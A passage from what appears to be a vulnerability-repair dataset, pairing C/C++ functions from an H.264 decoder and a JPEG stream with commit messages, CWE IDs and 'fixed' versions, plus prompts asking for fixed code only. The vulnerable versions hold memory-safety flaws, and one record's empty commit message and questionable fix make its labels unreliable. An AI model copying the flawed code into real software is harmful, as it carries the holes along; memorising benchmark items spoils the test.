}
}
DATA_SYNC();
if((ps_dec_op->u4_error_code & 0xff)
!= ERROR_DYNAMIC_RESOLUTION_NOT_SUPPORTED)
{
ps_dec_op->u4_pic_wd = (UWORD32)ps_dec->u2_disp_width;
ps_dec_op->u4_pic_ht = (UWORD32)ps_dec->u2_disp_height;
}
if(ps_dec->i4_header_decoded != 3)
{
ps_dec_op->u4_error_code |= (1 << IVD_INSUFFICIENTDATA);
}
if(ps_dec->i4_decode_header == 1 && ps_dec->i4_header_decoded != 3)
{
ps_dec_op->u4_error_code |= (1 << IVD_INSUFFICIENTDATA);
}
if(ps_dec->u4_prev_nal_skipped)
{
/*We have encountered a referenced frame,return to app*/
ps_dec_op->u4_error_code = IVD_DEC_FRM_SKIPPED;
ps_dec_op->u4_error_code |= (1 << IVD_UNSUPPORTEDPARAM);
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec_op->u4_size = sizeof(ivd_video_decode_op_t);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
return (IV_FAIL);
}
if((ps_dec->u4_slice_start_code_found == 1)
&& (ERROR_DANGLING_FIELD_IN_PIC != i4_err_status))
{
/*
* For field pictures, set the bottom and top picture decoded u4_flag correctly.
*/
if(ps_dec->ps_cur_slice->u1_field_pic_flag)
{
if(1 == ps_dec->ps_cur_slice->u1_bottom_field_flag)
{
ps_dec->u1_top_bottom_decoded |= BOT_FIELD_ONLY;
}
else
{
ps_dec->u1_top_bottom_decoded |= TOP_FIELD_ONLY;
}
}
/* if new frame in not found (if we are still getting slices from previous frame)
* ih264d_deblock_display is not called. Such frames will not be added to reference /display
*/
if (((ps_dec->ps_dec_err_status->u1_err_flag & REJECT_CUR_PIC) == 0)
&& (ps_dec->u4_pic_buf_got == 1))
{
/* Calling Function to deblock Picture and Display */
ret = ih264d_deblock_display(ps_dec);
if(ret != 0)
{
return IV_FAIL;
}
}
/*set to complete ,as we dont support partial frame decode*/
if(ps_dec->i4_header_decoded == 3)
{
ps_dec->u2_total_mbs_coded = ps_dec->ps_cur_sps->u2_max_mb_addr + 1;
}
/*Update the i4_frametype at the end of picture*/
if(ps_dec->ps_cur_slice->u1_nal_unit_type == IDR_SLICE_NAL)
{
ps_dec->i4_frametype = IV_IDR_FRAME;
}
else if(ps_dec->i4_pic_type == B_SLICE)
{
ps_dec->i4_frametype = IV_B_FRAME;
}
else if(ps_dec->i4_pic_type == P_SLICE)
{
ps_dec->i4_frametype = IV_P_FRAME;
}
else if(ps_dec->i4_pic_type == I_SLICE)
{
ps_dec->i4_frametype = IV_I_FRAME;
}
else
{
H264_DEC_DEBUG_PRINT("Shouldn't come here\n");
}
ps_dec->i4_content_type = ps_dec->ps_cur_slice->u1_field_pic_flag;
ps_dec->u4_total_frames_decoded = ps_dec->u4_total_frames_decoded + 2;
ps_dec->u4_total_frames_decoded = ps_dec->u4_total_frames_decoded
- ps_dec->ps_cur_slice->u1_field_pic_flag;
}
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
{
/* In case the decoder is configured to run in low delay mode,
* then get display buffer and then format convert.
* Note in this mode, format conversion does not run paralelly in a thread and adds to the codec cycles
*/
if((IVD_DECODE_FRAME_OUT == ps_dec->e_frm_out_mode)
&& ps_dec->u1_init_dec_flag)
{
ih264d_get_next_display_field(ps_dec, ps_dec->ps_out_buffer,
&(ps_dec->s_disp_op));
if(0 == ps_dec->s_disp_op.u4_error_code)
{
ps_dec->u4_fmt_conv_cur_row = 0;
ps_dec->u4_output_present = 1;
}
}
ih264d_fill_output_struct_from_context(ps_dec, ps_dec_op);
/* If Format conversion is not complete,
complete it here */
if(ps_dec->u4_output_present &&
(ps_dec->u4_fmt_conv_cur_row < ps_dec->s_disp_frame_info.u4_y_ht))
{
ps_dec->u4_fmt_conv_num_rows = ps_dec->s_disp_frame_info.u4_y_ht
- ps_dec->u4_fmt_conv_cur_row;
ih264d_format_convert(ps_dec, &(ps_dec->s_disp_op),
ps_dec->u4_fmt_conv_cur_row,
ps_dec->u4_fmt_conv_num_rows);
ps_dec->u4_fmt_conv_cur_row += ps_dec->u4_fmt_conv_num_rows;
}
ih264d_release_display_field(ps_dec, &(ps_dec->s_disp_op));
}
if(ps_dec->i4_decode_header == 1 && (ps_dec->i4_header_decoded & 1) == 1)
{
ps_dec_op->u4_progressive_frame_flag = 1;
if((NULL != ps_dec->ps_cur_sps) && (1 == (ps_dec->ps_cur_sps->u1_is_valid)))
{
if((0 == ps_dec->ps_sps->u1_frame_mbs_only_flag)
&& (0 == ps_dec->ps_sps->u1_mb_aff_flag))
ps_dec_op->u4_progressive_frame_flag = 0;
}
}
/*Data memory barrier instruction,so that yuv write by the library is complete*/
DATA_SYNC();
H264_DEC_DEBUG_PRINT("The num bytes consumed: %d\n",
ps_dec_op->u4_num_bytes_consumed);
return api_ret_value;
}
Commit Message: Decoder: Fixes an out of bound write in bitstream buffer
[for mnc-dr-dev and later; mnc-dev gets a different patch]
After emulation prevention, data is written as an int,
so at least 3 additional bytes should be available.
And since bitstream functions read 8 bytes ahead, 8 extra bytes
should be available in the bitstream buffer.
Bug: 33934721
Change-Id: I444ec6f85d01b0bade9f827e15c4b476779d6c69
CWE ID: CWE-119 | WORD32 ih264d_video_decode(iv_obj_t *dec_hdl, void *pv_api_ip, void *pv_api_op)
{
/* ! */
dec_struct_t * ps_dec = (dec_struct_t *)(dec_hdl->pv_codec_handle);
WORD32 i4_err_status = 0;
UWORD8 *pu1_buf = NULL;
WORD32 buflen;
UWORD32 u4_max_ofst, u4_length_of_start_code = 0;
UWORD32 bytes_consumed = 0;
UWORD32 cur_slice_is_nonref = 0;
UWORD32 u4_next_is_aud;
UWORD32 u4_first_start_code_found = 0;
WORD32 ret = 0,api_ret_value = IV_SUCCESS;
WORD32 header_data_left = 0,frame_data_left = 0;
UWORD8 *pu1_bitstrm_buf;
ivd_video_decode_ip_t *ps_dec_ip;
ivd_video_decode_op_t *ps_dec_op;
ithread_set_name((void*)"Parse_thread");
ps_dec_ip = (ivd_video_decode_ip_t *)pv_api_ip;
ps_dec_op = (ivd_video_decode_op_t *)pv_api_op;
{
UWORD32 u4_size;
u4_size = ps_dec_op->u4_size;
memset(ps_dec_op, 0, sizeof(ivd_video_decode_op_t));
ps_dec_op->u4_size = u4_size;
}
ps_dec->pv_dec_out = ps_dec_op;
if(ps_dec->init_done != 1)
{
return IV_FAIL;
}
/*Data memory barries instruction,so that bitstream write by the application is complete*/
DATA_SYNC();
if(0 == ps_dec->u1_flushfrm)
{
if(ps_dec_ip->pv_stream_buffer == NULL)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DEC_FRM_BS_BUF_NULL;
return IV_FAIL;
}
if(ps_dec_ip->u4_num_Bytes <= 0)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DEC_NUMBYTES_INV;
return IV_FAIL;
}
}
ps_dec->u1_pic_decode_done = 0;
ps_dec_op->u4_num_bytes_consumed = 0;
ps_dec->ps_out_buffer = NULL;
if(ps_dec_ip->u4_size
>= offsetof(ivd_video_decode_ip_t, s_out_buffer))
ps_dec->ps_out_buffer = &ps_dec_ip->s_out_buffer;
ps_dec->u4_fmt_conv_cur_row = 0;
ps_dec->u4_output_present = 0;
ps_dec->s_disp_op.u4_error_code = 1;
ps_dec->u4_fmt_conv_num_rows = FMT_CONV_NUM_ROWS;
if(0 == ps_dec->u4_share_disp_buf
&& ps_dec->i4_decode_header == 0)
{
UWORD32 i;
if(ps_dec->ps_out_buffer->u4_num_bufs == 0)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DISP_FRM_ZERO_OP_BUFS;
return IV_FAIL;
}
for(i = 0; i < ps_dec->ps_out_buffer->u4_num_bufs; i++)
{
if(ps_dec->ps_out_buffer->pu1_bufs[i] == NULL)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DISP_FRM_OP_BUF_NULL;
return IV_FAIL;
}
if(ps_dec->ps_out_buffer->u4_min_out_buf_size[i] == 0)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |=
IVD_DISP_FRM_ZERO_OP_BUF_SIZE;
return IV_FAIL;
}
}
}
if(ps_dec->u4_total_frames_decoded >= NUM_FRAMES_LIMIT)
{
ps_dec_op->u4_error_code = ERROR_FRAME_LIMIT_OVER;
return IV_FAIL;
}
/* ! */
ps_dec->u4_ts = ps_dec_ip->u4_ts;
ps_dec_op->u4_error_code = 0;
ps_dec_op->e_pic_type = -1;
ps_dec_op->u4_output_present = 0;
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec->i4_frametype = -1;
ps_dec->i4_content_type = -1;
/*
* For field pictures, set the bottom and top picture decoded u4_flag correctly.
*/
{
if((TOP_FIELD_ONLY | BOT_FIELD_ONLY) == ps_dec->u1_top_bottom_decoded)
{
ps_dec->u1_top_bottom_decoded = 0;
}
}
ps_dec->u4_slice_start_code_found = 0;
/* In case the deocder is not in flush mode(in shared mode),
then decoder has to pick up a buffer to write current frame.
Check if a frame is available in such cases */
if(ps_dec->u1_init_dec_flag == 1 && ps_dec->u4_share_disp_buf == 1
&& ps_dec->u1_flushfrm == 0)
{
UWORD32 i;
WORD32 disp_avail = 0, free_id;
/* Check if at least one buffer is available with the codec */
/* If not then return to application with error */
for(i = 0; i < ps_dec->u1_pic_bufs; i++)
{
if(0 == ps_dec->u4_disp_buf_mapping[i]
|| 1 == ps_dec->u4_disp_buf_to_be_freed[i])
{
disp_avail = 1;
break;
}
}
if(0 == disp_avail)
{
/* If something is queued for display wait for that buffer to be returned */
ps_dec_op->u4_error_code = IVD_DEC_REF_BUF_NULL;
ps_dec_op->u4_error_code |= (1 << IVD_UNSUPPORTEDPARAM);
return (IV_FAIL);
}
while(1)
{
pic_buffer_t *ps_pic_buf;
ps_pic_buf = (pic_buffer_t *)ih264_buf_mgr_get_next_free(
(buf_mgr_t *)ps_dec->pv_pic_buf_mgr, &free_id);
if(ps_pic_buf == NULL)
{
UWORD32 i, display_queued = 0;
/* check if any buffer was given for display which is not returned yet */
for(i = 0; i < (MAX_DISP_BUFS_NEW); i++)
{
if(0 != ps_dec->u4_disp_buf_mapping[i])
{
display_queued = 1;
break;
}
}
/* If some buffer is queued for display, then codec has to singal an error and wait
for that buffer to be returned.
If nothing is queued for display then codec has ownership of all display buffers
and it can reuse any of the existing buffers and continue decoding */
if(1 == display_queued)
{
/* If something is queued for display wait for that buffer to be returned */
ps_dec_op->u4_error_code = IVD_DEC_REF_BUF_NULL;
ps_dec_op->u4_error_code |= (1
<< IVD_UNSUPPORTEDPARAM);
return (IV_FAIL);
}
}
else
{
/* If the buffer is with display, then mark it as in use and then look for a buffer again */
if(1 == ps_dec->u4_disp_buf_mapping[free_id])
{
ih264_buf_mgr_set_status(
(buf_mgr_t *)ps_dec->pv_pic_buf_mgr,
free_id,
BUF_MGR_IO);
}
else
{
/**
* Found a free buffer for present call. Release it now.
* Will be again obtained later.
*/
ih264_buf_mgr_release((buf_mgr_t *)ps_dec->pv_pic_buf_mgr,
free_id,
BUF_MGR_IO);
break;
}
}
}
}
if(ps_dec->u1_flushfrm && ps_dec->u1_init_dec_flag)
{
ih264d_get_next_display_field(ps_dec, ps_dec->ps_out_buffer,
&(ps_dec->s_disp_op));
if(0 == ps_dec->s_disp_op.u4_error_code)
{
ps_dec->u4_fmt_conv_cur_row = 0;
ps_dec->u4_fmt_conv_num_rows = ps_dec->s_disp_frame_info.u4_y_ht;
ih264d_format_convert(ps_dec, &(ps_dec->s_disp_op),
ps_dec->u4_fmt_conv_cur_row,
ps_dec->u4_fmt_conv_num_rows);
ps_dec->u4_fmt_conv_cur_row += ps_dec->u4_fmt_conv_num_rows;
ps_dec->u4_output_present = 1;
}
ih264d_release_display_field(ps_dec, &(ps_dec->s_disp_op));
ps_dec_op->u4_pic_wd = (UWORD32)ps_dec->u2_disp_width;
ps_dec_op->u4_pic_ht = (UWORD32)ps_dec->u2_disp_height;
ps_dec_op->u4_new_seq = 0;
ps_dec_op->u4_output_present = ps_dec->u4_output_present;
ps_dec_op->u4_progressive_frame_flag =
ps_dec->s_disp_op.u4_progressive_frame_flag;
ps_dec_op->e_output_format =
ps_dec->s_disp_op.e_output_format;
ps_dec_op->s_disp_frm_buf = ps_dec->s_disp_op.s_disp_frm_buf;
ps_dec_op->e4_fld_type = ps_dec->s_disp_op.e4_fld_type;
ps_dec_op->u4_ts = ps_dec->s_disp_op.u4_ts;
ps_dec_op->u4_disp_buf_id = ps_dec->s_disp_op.u4_disp_buf_id;
/*In the case of flush ,since no frame is decoded set pic type as invalid*/
ps_dec_op->u4_is_ref_flag = -1;
ps_dec_op->e_pic_type = IV_NA_FRAME;
ps_dec_op->u4_frame_decoded_flag = 0;
if(0 == ps_dec->s_disp_op.u4_error_code)
{
return (IV_SUCCESS);
}
else
return (IV_FAIL);
}
if(ps_dec->u1_res_changed == 1)
{
/*if resolution has changed and all buffers have been flushed, reset decoder*/
ih264d_init_decoder(ps_dec);
}
ps_dec->u4_prev_nal_skipped = 0;
ps_dec->u2_cur_mb_addr = 0;
ps_dec->u2_total_mbs_coded = 0;
ps_dec->u2_cur_slice_num = 0;
ps_dec->cur_dec_mb_num = 0;
ps_dec->cur_recon_mb_num = 0;
ps_dec->u4_first_slice_in_pic = 2;
ps_dec->u1_first_pb_nal_in_pic = 1;
ps_dec->u1_slice_header_done = 0;
ps_dec->u1_dangling_field = 0;
ps_dec->u4_dec_thread_created = 0;
ps_dec->u4_bs_deblk_thread_created = 0;
ps_dec->u4_cur_bs_mb_num = 0;
ps_dec->u4_start_recon_deblk = 0;
DEBUG_THREADS_PRINTF(" Starting process call\n");
ps_dec->u4_pic_buf_got = 0;
do
{
WORD32 buf_size;
pu1_buf = (UWORD8*)ps_dec_ip->pv_stream_buffer
+ ps_dec_op->u4_num_bytes_consumed;
u4_max_ofst = ps_dec_ip->u4_num_Bytes
- ps_dec_op->u4_num_bytes_consumed;
/* If dynamic bitstream buffer is not allocated and
* header decode is done, then allocate dynamic bitstream buffer
*/
if((NULL == ps_dec->pu1_bits_buf_dynamic) &&
(ps_dec->i4_header_decoded & 1))
{
WORD32 size;
void *pv_buf;
void *pv_mem_ctxt = ps_dec->pv_mem_ctxt;
size = MAX(256000, ps_dec->u2_pic_wd * ps_dec->u2_pic_ht * 3 / 2);
pv_buf = ps_dec->pf_aligned_alloc(pv_mem_ctxt, 128, size);
RETURN_IF((NULL == pv_buf), IV_FAIL);
ps_dec->pu1_bits_buf_dynamic = pv_buf;
ps_dec->u4_dynamic_bits_buf_size = size;
}
if(ps_dec->pu1_bits_buf_dynamic)
{
pu1_bitstrm_buf = ps_dec->pu1_bits_buf_dynamic;
buf_size = ps_dec->u4_dynamic_bits_buf_size;
}
else
{
pu1_bitstrm_buf = ps_dec->pu1_bits_buf_static;
buf_size = ps_dec->u4_static_bits_buf_size;
}
u4_next_is_aud = 0;
buflen = ih264d_find_start_code(pu1_buf, 0, u4_max_ofst,
&u4_length_of_start_code,
&u4_next_is_aud);
if(buflen == -1)
buflen = 0;
/* Ignore bytes beyond the allocated size of intermediate buffer */
/* Since 8 bytes are read ahead, ensure 8 bytes are free at the
end of the buffer, which will be memset to 0 after emulation prevention */
buflen = MIN(buflen, buf_size - 8);
bytes_consumed = buflen + u4_length_of_start_code;
ps_dec_op->u4_num_bytes_consumed += bytes_consumed;
{
UWORD8 u1_firstbyte, u1_nal_ref_idc;
if(ps_dec->i4_app_skip_mode == IVD_SKIP_B)
{
u1_firstbyte = *(pu1_buf + u4_length_of_start_code);
u1_nal_ref_idc = (UWORD8)(NAL_REF_IDC(u1_firstbyte));
if(u1_nal_ref_idc == 0)
{
/*skip non reference frames*/
cur_slice_is_nonref = 1;
continue;
}
else
{
if(1 == cur_slice_is_nonref)
{
/*We have encountered a referenced frame,return to app*/
ps_dec_op->u4_num_bytes_consumed -=
bytes_consumed;
ps_dec_op->e_pic_type = IV_B_FRAME;
ps_dec_op->u4_error_code =
IVD_DEC_FRM_SKIPPED;
ps_dec_op->u4_error_code |= (1
<< IVD_UNSUPPORTEDPARAM);
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec_op->u4_size =
sizeof(ivd_video_decode_op_t);
/*signal the decode thread*/
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
return (IV_FAIL);
}
}
}
}
if(buflen)
{
memcpy(pu1_bitstrm_buf, pu1_buf + u4_length_of_start_code,
buflen);
/* Decoder may read extra 8 bytes near end of the frame */
if((buflen + 8) < buf_size)
{
memset(pu1_bitstrm_buf + buflen, 0, 8);
}
u4_first_start_code_found = 1;
}
else
{
/*start code not found*/
if(u4_first_start_code_found == 0)
{
/*no start codes found in current process call*/
ps_dec->i4_error_code = ERROR_START_CODE_NOT_FOUND;
ps_dec_op->u4_error_code |= 1 << IVD_INSUFFICIENTDATA;
if(ps_dec->u4_pic_buf_got == 0)
{
ih264d_fill_output_struct_from_context(ps_dec,
ps_dec_op);
ps_dec_op->u4_error_code = ps_dec->i4_error_code;
ps_dec_op->u4_frame_decoded_flag = 0;
return (IV_FAIL);
}
else
{
ps_dec->u1_pic_decode_done = 1;
continue;
}
}
else
{
/* a start code has already been found earlier in the same process call*/
frame_data_left = 0;
header_data_left = 0;
continue;
}
}
ps_dec->u4_return_to_app = 0;
ret = ih264d_parse_nal_unit(dec_hdl, ps_dec_op,
pu1_bitstrm_buf, buflen);
if(ret != OK)
{
UWORD32 error = ih264d_map_error(ret);
ps_dec_op->u4_error_code = error | ret;
api_ret_value = IV_FAIL;
if((ret == IVD_RES_CHANGED)
|| (ret == IVD_MEM_ALLOC_FAILED)
|| (ret == ERROR_UNAVAIL_PICBUF_T)
|| (ret == ERROR_UNAVAIL_MVBUF_T)
|| (ret == ERROR_INV_SPS_PPS_T))
{
ps_dec->u4_slice_start_code_found = 0;
break;
}
if((ret == ERROR_INCOMPLETE_FRAME) || (ret == ERROR_DANGLING_FIELD_IN_PIC))
{
ps_dec_op->u4_num_bytes_consumed -= bytes_consumed;
api_ret_value = IV_FAIL;
break;
}
if(ret == ERROR_IN_LAST_SLICE_OF_PIC)
{
api_ret_value = IV_FAIL;
break;
}
}
if(ps_dec->u4_return_to_app)
{
/*We have encountered a referenced frame,return to app*/
ps_dec_op->u4_num_bytes_consumed -= bytes_consumed;
ps_dec_op->u4_error_code = IVD_DEC_FRM_SKIPPED;
ps_dec_op->u4_error_code |= (1 << IVD_UNSUPPORTEDPARAM);
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec_op->u4_size = sizeof(ivd_video_decode_op_t);
/*signal the decode thread*/
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
return (IV_FAIL);
}
header_data_left = ((ps_dec->i4_decode_header == 1)
&& (ps_dec->i4_header_decoded != 3)
&& (ps_dec_op->u4_num_bytes_consumed
< ps_dec_ip->u4_num_Bytes));
frame_data_left = (((ps_dec->i4_decode_header == 0)
&& ((ps_dec->u1_pic_decode_done == 0)
|| (u4_next_is_aud == 1)))
&& (ps_dec_op->u4_num_bytes_consumed
< ps_dec_ip->u4_num_Bytes));
}
while(( header_data_left == 1)||(frame_data_left == 1));
if((ps_dec->u4_slice_start_code_found == 1)
&& (ret != IVD_MEM_ALLOC_FAILED)
&& ps_dec->u2_total_mbs_coded < ps_dec->u2_frm_ht_in_mbs * ps_dec->u2_frm_wd_in_mbs)
{
WORD32 num_mb_skipped;
WORD32 prev_slice_err;
pocstruct_t temp_poc;
WORD32 ret1;
WORD32 ht_in_mbs;
ht_in_mbs = ps_dec->u2_pic_ht >> (4 + ps_dec->ps_cur_slice->u1_field_pic_flag);
num_mb_skipped = (ht_in_mbs * ps_dec->u2_frm_wd_in_mbs)
- ps_dec->u2_total_mbs_coded;
if(ps_dec->u4_first_slice_in_pic && (ps_dec->u4_pic_buf_got == 0))
prev_slice_err = 1;
else
prev_slice_err = 2;
if(ps_dec->u4_first_slice_in_pic && (ps_dec->u2_total_mbs_coded == 0))
prev_slice_err = 1;
ret1 = ih264d_mark_err_slice_skip(ps_dec, num_mb_skipped, ps_dec->u1_nal_unit_type == IDR_SLICE_NAL, ps_dec->ps_cur_slice->u2_frame_num,
&temp_poc, prev_slice_err);
if((ret1 == ERROR_UNAVAIL_PICBUF_T) || (ret1 == ERROR_UNAVAIL_MVBUF_T) ||
(ret1 == ERROR_INV_SPS_PPS_T))
{
ret = ret1;
}
}
if((ret == IVD_RES_CHANGED)
|| (ret == IVD_MEM_ALLOC_FAILED)
|| (ret == ERROR_UNAVAIL_PICBUF_T)
|| (ret == ERROR_UNAVAIL_MVBUF_T)
|| (ret == ERROR_INV_SPS_PPS_T))
{
/* signal the decode thread */
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet */
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
/* dont consume bitstream for change in resolution case */
if(ret == IVD_RES_CHANGED)
{
ps_dec_op->u4_num_bytes_consumed -= bytes_consumed;
}
return IV_FAIL;
}
if(ps_dec->u1_separate_parse)
{
/* If Format conversion is not complete,
complete it here */
if(ps_dec->u4_num_cores == 2)
{
/*do deblocking of all mbs*/
if((ps_dec->u4_nmb_deblk == 0) &&(ps_dec->u4_start_recon_deblk == 1) && (ps_dec->ps_cur_sps->u1_mb_aff_flag == 0))
{
UWORD32 u4_num_mbs,u4_max_addr;
tfr_ctxt_t s_tfr_ctxt;
tfr_ctxt_t *ps_tfr_cxt = &s_tfr_ctxt;
pad_mgr_t *ps_pad_mgr = &ps_dec->s_pad_mgr;
/*BS is done for all mbs while parsing*/
u4_max_addr = (ps_dec->u2_frm_wd_in_mbs * ps_dec->u2_frm_ht_in_mbs) - 1;
ps_dec->u4_cur_bs_mb_num = u4_max_addr + 1;
ih264d_init_deblk_tfr_ctxt(ps_dec, ps_pad_mgr, ps_tfr_cxt,
ps_dec->u2_frm_wd_in_mbs, 0);
u4_num_mbs = u4_max_addr
- ps_dec->u4_cur_deblk_mb_num + 1;
DEBUG_PERF_PRINTF("mbs left for deblocking= %d \n",u4_num_mbs);
if(u4_num_mbs != 0)
ih264d_check_mb_map_deblk(ps_dec, u4_num_mbs,
ps_tfr_cxt,1);
ps_dec->u4_start_recon_deblk = 0;
}
}
/*signal the decode thread*/
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
}
DATA_SYNC();
if((ps_dec_op->u4_error_code & 0xff)
!= ERROR_DYNAMIC_RESOLUTION_NOT_SUPPORTED)
{
ps_dec_op->u4_pic_wd = (UWORD32)ps_dec->u2_disp_width;
ps_dec_op->u4_pic_ht = (UWORD32)ps_dec->u2_disp_height;
}
if(ps_dec->i4_header_decoded != 3)
{
ps_dec_op->u4_error_code |= (1 << IVD_INSUFFICIENTDATA);
}
if(ps_dec->i4_decode_header == 1 && ps_dec->i4_header_decoded != 3)
{
ps_dec_op->u4_error_code |= (1 << IVD_INSUFFICIENTDATA);
}
if(ps_dec->u4_prev_nal_skipped)
{
/*We have encountered a referenced frame,return to app*/
ps_dec_op->u4_error_code = IVD_DEC_FRM_SKIPPED;
ps_dec_op->u4_error_code |= (1 << IVD_UNSUPPORTEDPARAM);
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec_op->u4_size = sizeof(ivd_video_decode_op_t);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
return (IV_FAIL);
}
if((ps_dec->u4_slice_start_code_found == 1)
&& (ERROR_DANGLING_FIELD_IN_PIC != i4_err_status))
{
/*
* For field pictures, set the bottom and top picture decoded u4_flag correctly.
*/
if(ps_dec->ps_cur_slice->u1_field_pic_flag)
{
if(1 == ps_dec->ps_cur_slice->u1_bottom_field_flag)
{
ps_dec->u1_top_bottom_decoded |= BOT_FIELD_ONLY;
}
else
{
ps_dec->u1_top_bottom_decoded |= TOP_FIELD_ONLY;
}
}
/* if new frame in not found (if we are still getting slices from previous frame)
* ih264d_deblock_display is not called. Such frames will not be added to reference /display
*/
if (((ps_dec->ps_dec_err_status->u1_err_flag & REJECT_CUR_PIC) == 0)
&& (ps_dec->u4_pic_buf_got == 1))
{
/* Calling Function to deblock Picture and Display */
ret = ih264d_deblock_display(ps_dec);
if(ret != 0)
{
return IV_FAIL;
}
}
/*set to complete ,as we dont support partial frame decode*/
if(ps_dec->i4_header_decoded == 3)
{
ps_dec->u2_total_mbs_coded = ps_dec->ps_cur_sps->u2_max_mb_addr + 1;
}
/*Update the i4_frametype at the end of picture*/
if(ps_dec->ps_cur_slice->u1_nal_unit_type == IDR_SLICE_NAL)
{
ps_dec->i4_frametype = IV_IDR_FRAME;
}
else if(ps_dec->i4_pic_type == B_SLICE)
{
ps_dec->i4_frametype = IV_B_FRAME;
}
else if(ps_dec->i4_pic_type == P_SLICE)
{
ps_dec->i4_frametype = IV_P_FRAME;
}
else if(ps_dec->i4_pic_type == I_SLICE)
{
ps_dec->i4_frametype = IV_I_FRAME;
}
else
{
H264_DEC_DEBUG_PRINT("Shouldn't come here\n");
}
ps_dec->i4_content_type = ps_dec->ps_cur_slice->u1_field_pic_flag;
ps_dec->u4_total_frames_decoded = ps_dec->u4_total_frames_decoded + 2;
ps_dec->u4_total_frames_decoded = ps_dec->u4_total_frames_decoded
- ps_dec->ps_cur_slice->u1_field_pic_flag;
}
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
{
/* In case the decoder is configured to run in low delay mode,
* then get display buffer and then format convert.
* Note in this mode, format conversion does not run paralelly in a thread and adds to the codec cycles
*/
if((IVD_DECODE_FRAME_OUT == ps_dec->e_frm_out_mode)
&& ps_dec->u1_init_dec_flag)
{
ih264d_get_next_display_field(ps_dec, ps_dec->ps_out_buffer,
&(ps_dec->s_disp_op));
if(0 == ps_dec->s_disp_op.u4_error_code)
{
ps_dec->u4_fmt_conv_cur_row = 0;
ps_dec->u4_output_present = 1;
}
}
ih264d_fill_output_struct_from_context(ps_dec, ps_dec_op);
/* If Format conversion is not complete,
complete it here */
if(ps_dec->u4_output_present &&
(ps_dec->u4_fmt_conv_cur_row < ps_dec->s_disp_frame_info.u4_y_ht))
{
ps_dec->u4_fmt_conv_num_rows = ps_dec->s_disp_frame_info.u4_y_ht
- ps_dec->u4_fmt_conv_cur_row;
ih264d_format_convert(ps_dec, &(ps_dec->s_disp_op),
ps_dec->u4_fmt_conv_cur_row,
ps_dec->u4_fmt_conv_num_rows);
ps_dec->u4_fmt_conv_cur_row += ps_dec->u4_fmt_conv_num_rows;
}
ih264d_release_display_field(ps_dec, &(ps_dec->s_disp_op));
}
if(ps_dec->i4_decode_header == 1 && (ps_dec->i4_header_decoded & 1) == 1)
{
ps_dec_op->u4_progressive_frame_flag = 1;
if((NULL != ps_dec->ps_cur_sps) && (1 == (ps_dec->ps_cur_sps->u1_is_valid)))
{
if((0 == ps_dec->ps_sps->u1_frame_mbs_only_flag)
&& (0 == ps_dec->ps_sps->u1_mb_aff_flag))
ps_dec_op->u4_progressive_frame_flag = 0;
}
}
/*Data memory barrier instruction,so that yuv write by the library is complete*/
DATA_SYNC();
H264_DEC_DEBUG_PRINT("The num bytes consumed: %d\n",
ps_dec_op->u4_num_bytes_consumed);
return api_ret_value;
}
| 174,049 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void DCTStream::init()
{
jpeg_std_error(&jerr);
jerr.error_exit = &exitErrorHandler;
src.pub.init_source = str_init_source;
src.pub.fill_input_buffer = str_fill_input_buffer;
src.pub.skip_input_data = str_skip_input_data;
src.pub.resync_to_restart = jpeg_resync_to_restart;
src.pub.term_source = str_term_source;
src.pub.next_input_byte = NULL;
src.str = str;
src.index = 0;
src.abort = false;
current = NULL;
limit = NULL;
limit = NULL;
cinfo.err = &jerr;
jpeg_create_decompress(&cinfo);
cinfo.src = (jpeg_source_mgr *)&src;
row_buffer = NULL;
}
Commit Message:
CWE ID: CWE-20 | void DCTStream::init()
{
jpeg_std_error(&jerr);
jerr.error_exit = &exitErrorHandler;
src.pub.init_source = str_init_source;
src.pub.fill_input_buffer = str_fill_input_buffer;
src.pub.skip_input_data = str_skip_input_data;
src.pub.resync_to_restart = jpeg_resync_to_restart;
src.pub.term_source = str_term_source;
src.pub.next_input_byte = NULL;
src.str = str;
src.index = 0;
current = NULL;
limit = NULL;
limit = NULL;
cinfo.err = &jerr;
jpeg_create_decompress(&cinfo);
cinfo.src = (jpeg_source_mgr *)&src;
row_buffer = NULL;
}
| 165,393 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: tight_filter_gradient24(VncState *vs, uint8_t *buf, int w, int h)
{
uint32_t *buf32;
uint32_t pix32;
int shift[3];
int *prev;
